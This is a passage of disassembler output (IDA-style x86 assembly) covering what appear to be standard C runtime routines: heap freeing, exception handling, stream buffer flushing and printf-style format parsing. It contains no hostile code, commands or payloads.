[ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_4104EA mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_4104ED ; --------------------------------------------------------------------------- loc_4104EA: ; CODE XREF: sub_4102F9+1BCj ; sub_4102F9+1E4j mov ebx, [ebp+arg_0] loc_4104ED: ; CODE XREF: sub_4102F9+196j ; sub_4102F9+1C6j ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_410596 mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_410587 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_41055E cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41054C mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41054C: ; CODE XREF: sub_4102F9+246j mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_410587 ; --------------------------------------------------------------------------- loc_41055E: ; CODE XREF: sub_4102F9+240j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_410571 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_410571: ; CODE XREF: sub_4102F9+269j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_410587: ; CODE XREF: sub_4102F9+22Ej ; sub_4102F9+263j mov ecx, [ebp+var_8] loc_41058A: ; CODE XREF: sub_4102F9+18Aj test ecx, ecx jz short loc_410599 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_410599 ; --------------------------------------------------------------------------- loc_410596: ; CODE XREF: sub_4102F9+20Aj mov ecx, [ebp+var_8] loc_410599: ; CODE XREF: sub_4102F9+293j ; sub_4102F9+29Bj mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_4105CF cmp ebx, dword_425FEC jnz short loc_4105CF mov ecx, [ebp+var_4] cmp ecx, dword_434D58 jnz short loc_4105CF and dword_425FEC, 0 loc_4105CF: ; CODE XREF: sub_4102F9+2BAj ; sub_4102F9+2C2j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_4105D7: ; CODE XREF: sub_4102F9+D0j pop edi pop esi pop ebx leave retn sub_4102F9 endp ; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_410640 proc near ; DATA XREF: __SEH_prolog4o var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00412355 SIZE 00000019 BYTES sub esp, 14h push ebx mov ebx, [esp+18h+arg_4] push ebp push esi mov esi, [ebx+8] xor esi, dword_423068 push edi mov eax, [esi] cmp eax, 0FFFFFFFEh mov [esp+24h+var_11], 0 mov [esp+24h+var_C], 1 lea edi, [ebx+10h] jz short loc_410678 mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AB4A loc_410678: ; CODE XREF: sub_410640+29j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_40AB4A mov eax, [esp+24h+arg_0] test byte ptr [eax+4], 66h jnz loc_4107B5 mov ebp, [ebx+0Ch] cmp ebp, 0FFFFFFFEh mov ecx, [esp+24h+arg_8] lea edx, [esp+24h+var_8] mov [esp+24h+var_8], eax mov [esp+24h+var_4], ecx mov [ebx-4], edx jz short loc_41070F loc_4106B1: ; CODE XREF: sub_410640+A2j lea eax, [ebp+ebp*2+0] mov ecx, [esi+eax*4+14h] test ecx, ecx lea ebx, [esi+eax*4+10h] mov eax, [ebx] mov [esp+24h+var_10], eax jz short loc_4106DD mov edx, edi call sub_41233E test eax, eax mov [esp+24h+var_11], 1 jl short loc_41071B jg short loc_410725 mov eax, [esp+24h+var_10] loc_4106DD: ; CODE XREF: sub_410640+85j cmp eax, 0FFFFFFFEh mov ebp, eax jnz short loc_4106B1 cmp [esp+24h+var_11], 0 jz short loc_41070F loc_4106EB: ; CODE XREF: sub_410640+E3j ; sub_410640+191j mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_4106FF mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AB4A loc_4106FF: ; CODE XREF: sub_410640+B0j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_40AB4A loc_41070F: ; CODE XREF: sub_410640+6Fj ; sub_410640+A9j ... mov eax, [esp+24h+var_C] pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41071B: ; CODE XREF: sub_410640+95j mov [esp+24h+var_C], 0 jmp short loc_4106EB ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_410640+97j mov ecx, [esp+24h+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz short loc_41075B cmp ds:off_41EC0C, 0 jz short loc_41075B push offset off_41EC0C call sub_4169B2 add esp, 4 test eax, eax jz short loc_41075B mov edx, [esp+24h+arg_0] push 1 push edx call ds:off_41EC0C add esp, 8 loc_41075B: ; CODE XREF: sub_410640+EFj ; sub_410640+F8j ... mov ecx, [esp+24h+arg_4] call sub_41236E mov eax, [esp+24h+arg_4] cmp [eax+0Ch], ebp jz short loc_410780 push offset dword_423068 push edi mov edx, ebp mov ecx, eax call sub_412388 mov eax, [esp+24h+arg_4] loc_410780: ; CODE XREF: sub_410640+12Bj mov ecx, [esp+24h+var_10] mov [eax+0Ch], ecx mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_41079B mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_40AB4A loc_41079B: ; CODE XREF: sub_410640+14Cj mov ecx, [esi+0Ch] mov edx, [esi+8] add ecx, edi xor ecx, [edx+edi] call sub_40AB4A mov ecx, [ebx+8] mov edx, edi jmp loc_412355 ; --------------------------------------------------------------------------- loc_4107B5: ; CODE XREF: sub_410640+50j cmp dword ptr [ebx+0Ch], 0FFFFFFFEh jz loc_41070F push offset dword_423068 push edi mov ecx, ebx mov edx, 0FFFFFFFEh call sub_412388 jmp loc_4106EB sub_410640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107D6 proc near ; CODE XREF: sub_40C634+9Fp ; sub_40CE48+6Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] push esi call sub_4126A4 mov [ebp+arg_4], eax mov eax, [esi+0Ch] test al, 82h pop ecx jnz short loc_410806 call sub_40F7D4 mov dword ptr [eax], 9 loc_4107FA: ; CODE XREF: sub_4107D6+3Fj or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp loc_410933 ; --------------------------------------------------------------------------- loc_410806: ; CODE XREF: sub_4107D6+17j test al, 40h jz short loc_410817 call sub_40F7D4 mov dword ptr [eax], 22h jmp short loc_4107FA ; --------------------------------------------------------------------------- loc_410817: ; CODE XREF: sub_4107D6+32j push ebx xor ebx, ebx test al, 1 jz short loc_410834 test al, 10h mov [esi+4], ebx jz loc_4108AE mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_410834: ; CODE XREF: sub_4107D6+46j mov eax, [esi+0Ch] and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax mov [esi+4], ebx mov [ebp+var_4], ebx jnz short loc_410878 call sub_411D09 add eax, 20h cmp esi, eax jz short loc_410864 call sub_411D09 add eax, 40h cmp esi, eax jnz short loc_410871 loc_410864: ; CODE XREF: sub_4107D6+80j push [ebp+arg_4] call sub_4172A0 test eax, eax pop ecx jnz short loc_410878 loc_410871: ; CODE XREF: sub_4107D6+8Cj push esi call sub_41725C pop ecx loc_410878: ; CODE XREF: sub_4107D6+74j ; sub_4107D6+99j test word ptr [esi+0Ch], 108h push edi jz loc_410905 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx cmp edi, ebx mov [esi+4], ecx jle short loc_4108B9 push edi push eax push [ebp+arg_4] call sub_417180 add esp, 0Ch mov [ebp+var_4], eax jmp short loc_4108FB ; --------------------------------------------------------------------------- loc_4108AE: ; CODE XREF: sub_4107D6+4Dj or eax, 20h mov [esi+0Ch], eax or eax, 0FFFFFFFFh jmp short loc_410932 ; --------------------------------------------------------------------------- loc_4108B9: ; CODE XREF: sub_4107D6+C4j mov ecx, [ebp+arg_4] cmp ecx, 0FFFFFFFFh jz short loc_4108DC cmp ecx, 0FFFFFFFEh jz short loc_4108DC mov eax, ecx and eax, 1Fh imul eax, 28h mov edx, ecx sar edx, 5 add eax, dword_433C00[edx*4] jmp short loc_4108E1 ; --------------------------------------------------------------------------- loc_4108DC: ; CODE XREF: sub_4107D6+E9j ; sub_4107D6+EEj mov eax, offset dword_423BB8 loc_4108E1: ; CODE XREF: sub_4107D6+104j test byte ptr [eax+4], 20h jz short loc_4108FB push 2 push ebx push ebx push ecx call sub_416AA1 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_410920 loc_4108FB: ; CODE XREF: sub_4107D6+D6j ; sub_4107D6+10Fj mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41091B ; --------------------------------------------------------------------------- loc_410905: ; CODE XREF: sub_4107D6+A9j xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push [ebp+arg_4] call sub_417180 add esp, 0Ch mov [ebp+var_4], eax loc_41091B: ; CODE XREF: sub_4107D6+12Dj cmp [ebp+var_4], edi jz short loc_410929 loc_410920: ; CODE XREF: sub_4107D6+123j or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp short loc_410931 ; --------------------------------------------------------------------------- loc_410929: ; CODE XREF: sub_4107D6+148j mov eax, [ebp+arg_0] and eax, 0FFh loc_410931: ; CODE XREF: sub_4107D6+151j pop edi loc_410932: ; CODE XREF: sub_4107D6+E1j pop ebx loc_410933: ; CODE XREF: sub_4107D6+2Bj pop esi leave retn sub_4107D6 endp ; =============== S U B R O U T I N E ======================================= sub_410936 proc near ; CODE XREF: sub_410969+11p ; sub_41098D+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_410942 cmp dword ptr [ecx+8], 0 jz short loc_410966 loc_410942: ; CODE XREF: sub_410936+4j dec dword ptr [ecx+4] js short loc_410952 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41095E ; --------------------------------------------------------------------------- loc_410952: ; CODE XREF: sub_410936+Fj movsx eax, al push ecx push eax call sub_4107D6 pop ecx pop ecx loc_41095E: ; CODE XREF: sub_410936+1Aj cmp eax, 0FFFFFFFFh jnz short loc_410966 or [esi], eax retn ; --------------------------------------------------------------------------- loc_410966: ; CODE XREF: sub_410936+Aj ; sub_410936+2Bj inc dword ptr [esi] retn sub_410936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410969 proc near ; CODE XREF: sub_4109D7+853p ; sub_4109D7+880p ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_410984 ; --------------------------------------------------------------------------- loc_410971: ; CODE XREF: sub_410969+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_410936 cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41098A loc_410984: ; CODE XREF: sub_410969+6j cmp [ebp+arg_4], 0 jg short loc_410971 loc_41098A: ; CODE XREF: sub_410969+19j pop esi pop ebp retn sub_410969 endp ; =============== S U B R O U T I N E ======================================= sub_41098D proc near ; CODE XREF: sub_4109D7+867p ; sub_4109D7+8CEp ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_4109CD cmp dword ptr [edi+8], 0 jnz short loc_4109CD mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_4109D4 ; --------------------------------------------------------------------------- loc_4109A7: ; CODE XREF: sub_41098D+45j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_410936 inc ebx cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_4109CD call sub_40F7D4 cmp dword ptr [eax], 2Ah jnz short loc_4109D4 mov ecx, edi mov al, 3Fh call sub_410936 loc_4109CD: ; CODE XREF: sub_41098D+Aj ; sub_41098D+10j ... cmp [esp+8+arg_0], 0 jg short loc_4109A7 loc_4109D4: ; CODE XREF: sub_41098D+18j ; sub_41098D+35j pop esi pop ebx retn sub_41098D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1F8h sub_4109D7 proc near ; CODE XREF: sub_40C634+80p ; sub_40CE48+53p ... var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_260 = dword ptr -260h var_25C = byte ptr -25Ch var_254 = dword ptr -254h var_250 = byte ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-1F8h] sub esp, 278h mov eax, dword_423068 xor eax, ebp mov [ebp+1F8h+var_4], eax mov eax, [ebp+1F8h+arg_0] push ebx mov ebx, [ebp+1F8h+arg_4] push esi xor esi, esi push edi mov edi, [ebp+1F8h+arg_C] push [ebp+1F8h+arg_8] lea ecx, [ebp+1F8h+var_25C] mov [ebp+1F8h+var_228], eax mov [ebp+1F8h+var_224], edi mov [ebp+1F8h+var_244], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_218], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_23C], esi call sub_40AB59 cmp [ebp+1F8h+var_228], esi jnz short loc_410A64 loc_410A37: ; CODE XREF: sub_4109D7+E5j ; sub_4109D7+138j ... call sub_40F7D4 push esi push esi push esi push esi mov dword ptr [eax], 16h push esi loc_410A47: ; CODE XREF: sub_4109D7+948j call sub_40CB08 add esp, 14h cmp [ebp+1F8h+var_250], 0 jz short loc_410A5C mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_410A5C: ; CODE XREF: sub_4109D7+7Cj or eax, 0FFFFFFFFh jmp loc_411334 ; --------------------------------------------------------------------------- loc_410A64: ; CODE XREF: sub_4109D7+5Ej mov eax, [ebp+1F8h+var_228] test byte ptr [eax+0Ch], 40h jnz loc_410B15 push eax call sub_4126A4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_410AB3 push [ebp+1F8h+var_228] call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_410AB3 push [ebp+1F8h+var_228] call sub_4126A4 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_410AB8 ; --------------------------------------------------------------------------- loc_410AB3: ; CODE XREF: sub_4109D7+A4j ; sub_4109D7+B2j mov eax, offset dword_423BB8 loc_410AB8: ; CODE XREF: sub_4109D7+DAj test byte ptr [eax+24h], 7Fh jnz loc_410A37 push [ebp+1F8h+var_228] call sub_4126A4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_410B06 push [ebp+1F8h+var_228] call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_410B06 push [ebp+1F8h+var_228] call sub_4126A4 push [ebp+1F8h+var_228] sar eax, 5 lea esi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [esi] pop ecx pop ecx xor esi, esi jmp short loc_410B0B ; --------------------------------------------------------------------------- loc_410B06: ; CODE XREF: sub_4109D7+F7j ; sub_4109D7+105j mov eax, offset dword_423BB8 loc_410B0B: ; CODE XREF: sub_4109D7+12Dj test byte ptr [eax+24h], 80h jnz loc_410A37 loc_410B15: ; CODE XREF: sub_4109D7+94j cmp ebx, esi jz loc_410A37 mov dl, [ebx] xor ecx, ecx test dl, dl mov [ebp+1F8h+var_22C], esi mov [ebp+1F8h+var_220], esi mov [ebp+1F8h+var_24C], esi mov [ebp+1F8h+var_211], dl jz loc_411324 loc_410B35: ; CODE XREF: sub_4109D7+931j inc ebx cmp [ebp+1F8h+var_22C], 0 mov [ebp+1F8h+var_240], ebx jl loc_411324 mov al, dl sub al, 20h cmp al, 58h ja short loc_410B5C movsx eax, dl movzx eax, ds:byte_41E4C8[eax] and eax, 0Fh xor esi, esi jmp short loc_410B60 ; --------------------------------------------------------------------------- loc_410B5C: ; CODE XREF: sub_4109D7+172j xor esi, esi xor eax, eax loc_410B60: ; CODE XREF: sub_4109D7+183j movsx eax, ds:byte_41E4E8[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+1F8h+var_26C], eax ja loc_4112F4 ; default jmp ds:off_41134F[eax*4] ; switch jump loc_410B80: ; DATA XREF: .text:off_41134Fo or [ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 00410B79 case 1 mov [ebp+1F8h+var_270], esi mov [ebp+1F8h+var_248], esi mov [ebp+1F8h+var_238], esi mov [ebp+1F8h+var_234], esi mov [ebp+1F8h+var_210], esi mov [ebp+1F8h+var_23C], esi jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410B9B: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo movsx eax, dl ; jumptable 00410B79 case 2 sub eax, 20h jz short loc_410BE1 sub eax, 3 jz short loc_410BD5 sub eax, 8 jz short loc_410BCC dec eax dec eax jz short loc_410BC3 sub eax, 3 jnz loc_4112F4 ; default or [ebp+1F8h+var_210], 8 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410BC3: ; CODE XREF: sub_4109D7+1D8j or [ebp+1F8h+var_210], 4 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410BCC: ; CODE XREF: sub_4109D7+1D4j or [ebp+1F8h+var_210], 1 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410BD5: ; CODE XREF: sub_4109D7+1CFj or [ebp+1F8h+var_210], 80h jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410BE1: ; CODE XREF: sub_4109D7+1CAj or [ebp+1F8h+var_210], 2 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410BEA: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo cmp dl, 2Ah ; jumptable 00410B79 case 3 jnz short loc_410C0F add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_238], edi jge loc_4112F4 ; default or [ebp+1F8h+var_210], 4 neg [ebp+1F8h+var_238] jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C0F: ; CODE XREF: sub_4109D7+216j mov eax, [ebp+1F8h+var_238] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_238], eax jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C24: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo mov [ebp+1F8h+var_218], esi ; jumptable 00410B79 case 4 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C2C: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo cmp dl, 2Ah ; jumptable 00410B79 case 5 jnz short loc_410C4E add edi, 4 mov [ebp+1F8h+var_224], edi mov edi, [edi-4] cmp edi, esi mov [ebp+1F8h+var_218], edi jge loc_4112F4 ; default or [ebp+1F8h+var_218], 0FFFFFFFFh jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C4E: ; CODE XREF: sub_4109D7+258j mov eax, [ebp+1F8h+var_218] imul eax, 0Ah movsx ecx, dl lea eax, [eax+ecx-30h] mov [ebp+1F8h+var_218], eax jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C63: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo cmp dl, 49h ; jumptable 00410B79 case 6 jz short loc_410CAE cmp dl, 68h jz short loc_410CA5 cmp dl, 6Ch jz short loc_410C87 cmp dl, 77h jnz loc_4112F4 ; default or [ebp+1F8h+var_210], 800h jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C87: ; CODE XREF: sub_4109D7+299j cmp byte ptr [ebx], 6Ch jnz short loc_410C9C inc ebx or [ebp+1F8h+var_210], 1000h mov [ebp+1F8h+var_240], ebx jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410C9C: ; CODE XREF: sub_4109D7+2B3j or [ebp+1F8h+var_210], 10h jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410CA5: ; CODE XREF: sub_4109D7+294j or [ebp+1F8h+var_210], 20h jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410CAE: ; CODE XREF: sub_4109D7+28Fj mov al, [ebx] cmp al, 36h jnz short loc_410CCB cmp byte ptr [ebx+1], 34h jnz short loc_410CCB inc ebx inc ebx or [ebp+1F8h+var_210], 8000h mov [ebp+1F8h+var_240], ebx jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410CCB: ; CODE XREF: sub_4109D7+2DBj ; sub_4109D7+2E1j cmp al, 33h jnz short loc_410CE6 cmp byte ptr [ebx+1], 32h jnz short loc_410CE6 inc ebx inc ebx and [ebp+1F8h+var_210], 0FFFF7FFFh mov [ebp+1F8h+var_240], ebx jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410CE6: ; CODE XREF: sub_4109D7+2F6j ; sub_4109D7+2FCj cmp al, 64h jz loc_4112F4 ; default cmp al, 69h jz loc_4112F4 ; default cmp al, 6Fh jz loc_4112F4 ; default cmp al, 75h jz loc_4112F4 ; default cmp al, 78h jz loc_4112F4 ; default cmp al, 58h jz loc_4112F4 ; default mov [ebp+1F8h+var_26C], esi loc_410D19: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo lea eax, [ebp+1F8h+var_25C] ; jumptable 00410B79 case 0 push eax movzx eax, dl push eax mov [ebp+1F8h+var_23C], esi call sub_416760 pop ecx test eax, eax mov al, [ebp+1F8h+var_211] pop ecx jz short loc_410D4B mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_410936 mov al, [ebx] inc ebx test al, al mov [ebp+1F8h+var_240], ebx jz loc_41130D loc_410D4B: ; CODE XREF: sub_4109D7+359j mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_410936 jmp loc_4112F4 ; default ; --------------------------------------------------------------------------- loc_410D5B: ; CODE XREF: sub_4109D7+1A2j ; DATA XREF: .text:off_41134Fo movsx eax, dl ; jumptable 00410B79 case 7 cmp eax, 64h jg loc_410ED9 jz loc_410F58 cmp eax, 53h jg loc_410E21 jz short loc_410DD2 sub eax, 41h jz short loc_410D8D dec eax dec eax jz short loc_410DC1 dec eax dec eax jz short loc_410D8D dec eax dec eax jnz loc_4111DC loc_410D8D: ; CODE XREF: sub_4109D7+3A4j ; sub_4109D7+3ACj add dl, 20h mov [ebp+1F8h+var_270], 1 mov [ebp+1F8h+var_211], dl loc_410D9A: ; CODE XREF: sub_4109D7+459j ; sub_4109D7+51Dj or [ebp+1F8h+var_210], 40h cmp [ebp+1F8h+var_218], esi lea ebx, [ebp+1F8h+var_20C] mov eax, 200h mov [ebp+1F8h+var_21C], ebx mov [ebp+1F8h+var_260], eax jge loc_410F7C mov [ebp+1F8h+var_218], 6 jmp loc_410FCA ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_4109D7+3A8j test word ptr [ebp+1F8h+var_210], 830h jnz short loc_410E3E or [ebp+1F8h+var_210], 800h jmp short loc_410E3E ; --------------------------------------------------------------------------- loc_410DD2: ; CODE XREF: sub_4109D7+39Fj test word ptr [ebp+1F8h+var_210], 830h jnz short loc_410DE1 or [ebp+1F8h+var_210], 800h loc_410DE1: ; CODE XREF: sub_4109D7+401j ; sub_4109D7+694j mov ecx, [ebp+1F8h+var_218] cmp ecx, 0FFFFFFFFh jnz short loc_410DEE mov ecx, 7FFFFFFFh loc_410DEE: ; CODE XREF: sub_4109D7+410j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi mov edi, [edi-4] mov [ebp+1F8h+var_21C], edi jz loc_4111BA cmp edi, esi jnz short loc_410E12 mov eax, off_423928 mov [ebp+1F8h+var_21C], eax loc_410E12: ; CODE XREF: sub_4109D7+431j mov eax, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_23C], 1 jmp loc_4111AF ; --------------------------------------------------------------------------- loc_410E21: ; CODE XREF: sub_4109D7+399j sub eax, 58h jz loc_411063 dec eax dec eax jz short loc_410E8B sub eax, ecx jz loc_410D9A dec eax dec eax jnz loc_4111DC loc_410E3E: ; CODE XREF: sub_4109D7+3F0j ; sub_4109D7+3F9j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi jz short loc_410E73 movzx eax, word ptr [edi-4] push eax push 200h lea eax, [ebp+1F8h+var_20C] push eax lea eax, [ebp+1F8h+var_220] push eax call sub_417492 add esp, 10h test eax, eax jz short loc_410E80 mov [ebp+1F8h+var_248], 1 jmp short loc_410E80 ; --------------------------------------------------------------------------- loc_410E73: ; CODE XREF: sub_4109D7+473j mov al, [edi-4] mov [ebp+1F8h+var_20C], al mov [ebp+1F8h+var_220], 1 loc_410E80: ; CODE XREF: sub_4109D7+491j ; sub_4109D7+49Aj lea eax, [ebp+1F8h+var_20C] mov [ebp+1F8h+var_21C], eax jmp loc_4111DC ; --------------------------------------------------------------------------- loc_410E8B: ; CODE XREF: sub_4109D7+455j mov eax, [edi] add edi, 4 cmp eax, esi mov [ebp+1F8h+var_224], edi jz short loc_410EC5 mov ecx, [eax+4] cmp ecx, esi jz short loc_410EC5 test word ptr [ebp+1F8h+var_210], 800h movsx eax, word ptr [eax] mov [ebp+1F8h+var_21C], ecx jz short loc_410EBD cdq sub eax, edx sar eax, 1 mov [ebp+1F8h+var_23C], 1 jmp loc_4111D9 ; --------------------------------------------------------------------------- loc_410EBD: ; CODE XREF: sub_4109D7+4D3j mov [ebp+1F8h+var_23C], esi jmp loc_4111D9 ; --------------------------------------------------------------------------- loc_410EC5: ; CODE XREF: sub_4109D7+4BEj ; sub_4109D7+4C5j mov eax, off_423924 mov [ebp+1F8h+var_21C], eax push eax loc_410ECE: ; CODE XREF: sub_4109D7+680j call sub_40C500 pop ecx jmp loc_4111D9 ; --------------------------------------------------------------------------- loc_410ED9: ; CODE XREF: sub_4109D7+38Aj cmp eax, 70h jg loc_411068 jz loc_41105C cmp eax, 65h jl loc_4111DC cmp eax, 67h jle loc_410D9A cmp eax, 69h jz short loc_410F58 cmp eax, 6Eh jz short loc_410F23 cmp eax, 6Fh jnz loc_4111DC test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 8 jz short loc_410F63 or [ebp+1F8h+var_210], 200h jmp short loc_410F63 ; --------------------------------------------------------------------------- loc_410F23: ; CODE XREF: sub_4109D7+52Bj mov esi, [edi] add edi, 4 mov [ebp+1F8h+var_224], edi call sub_41731D test eax, eax jz loc_41130D test byte ptr [ebp+1F8h+var_210], 20h jz short loc_410F47 mov ax, word ptr [ebp+1F8h+var_22C] mov [esi], ax jmp short loc_410F4C ; --------------------------------------------------------------------------- loc_410F47: ; CODE XREF: sub_4109D7+565j mov eax, [ebp+1F8h+var_22C] mov [esi], eax loc_410F4C: ; CODE XREF: sub_4109D7+56Ej mov [ebp+1F8h+var_248], 1 jmp loc_4112E1 ; --------------------------------------------------------------------------- loc_410F58: ; CODE XREF: sub_4109D7+390j ; sub_4109D7+526j or [ebp+1F8h+var_210], 40h loc_410F5C: ; CODE XREF: sub_4109D7+69Cj mov [ebp+1F8h+var_220], 0Ah loc_410F63: ; CODE XREF: sub_4109D7+541j ; sub_4109D7+54Aj ... 